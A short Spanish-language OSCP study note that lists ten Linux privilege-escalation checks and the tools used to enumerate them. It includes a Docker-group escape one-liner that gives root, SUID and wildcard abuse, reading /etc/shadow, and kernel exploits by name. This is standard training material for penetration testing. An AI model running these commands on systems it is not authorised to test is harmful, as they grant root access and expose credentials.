# Privesc Linux

> Tras el foothold (Reverse shell + Estabilizar shell TTY): script automatizado (PEASS-ng) **+** revisión manual. Paso 4 de la Metodología OSCP.

## Los 10 olvidados
```
1.  sudo -l            → SIEMPRE primero, sin password
2.  SUID exóticos      → find / -perm -4000 2>/dev/null  → GTFOBins y LOLBAS
3.  Capabilities       → getcap -r / 2>/dev/null  (cap_setuid en python/perl = root)
4.  Cron escribibles   → /etc/crontab, /var/spool/cron  (scripts que puedes editar)
5.  Wildcard injection → tar czf /backup/* con --checkpoint
6.  PATH abuse         → script SUID llama "ps" sin ruta → creas ./ps malicioso
7.  NFS no_root_squash → showmount -e ; montas y subes un SUID
8.  Docker group       → docker run -v /:/mnt -it alpine chroot /mnt  (= root)
9.  Kernel exploits    → último recurso: DirtyCow, DirtyPipe (uname -a; searchsploit)
10. Ficheros sensibles → /etc/passwd escribible, /etc/shadow legible, /var/backups
```

## Orden recomendado
`sudo -l` → SUID/caps + GTFOBins y LOLBAS → cron → resto. **Kernel exploit = último recurso** (inestable) → Exploits conocidos.

## Herramientas
`linpeas.sh` (PEASS-ng), `LinEnum`, `linux-exploit-suggester` (LES), `lse.sh`, y `pspy` (espía cron/procesos sin root). Ver Herramientas (índice).

Relacionado: Exploits conocidos · PEASS-ng · Privesc Windows · OSCP MOC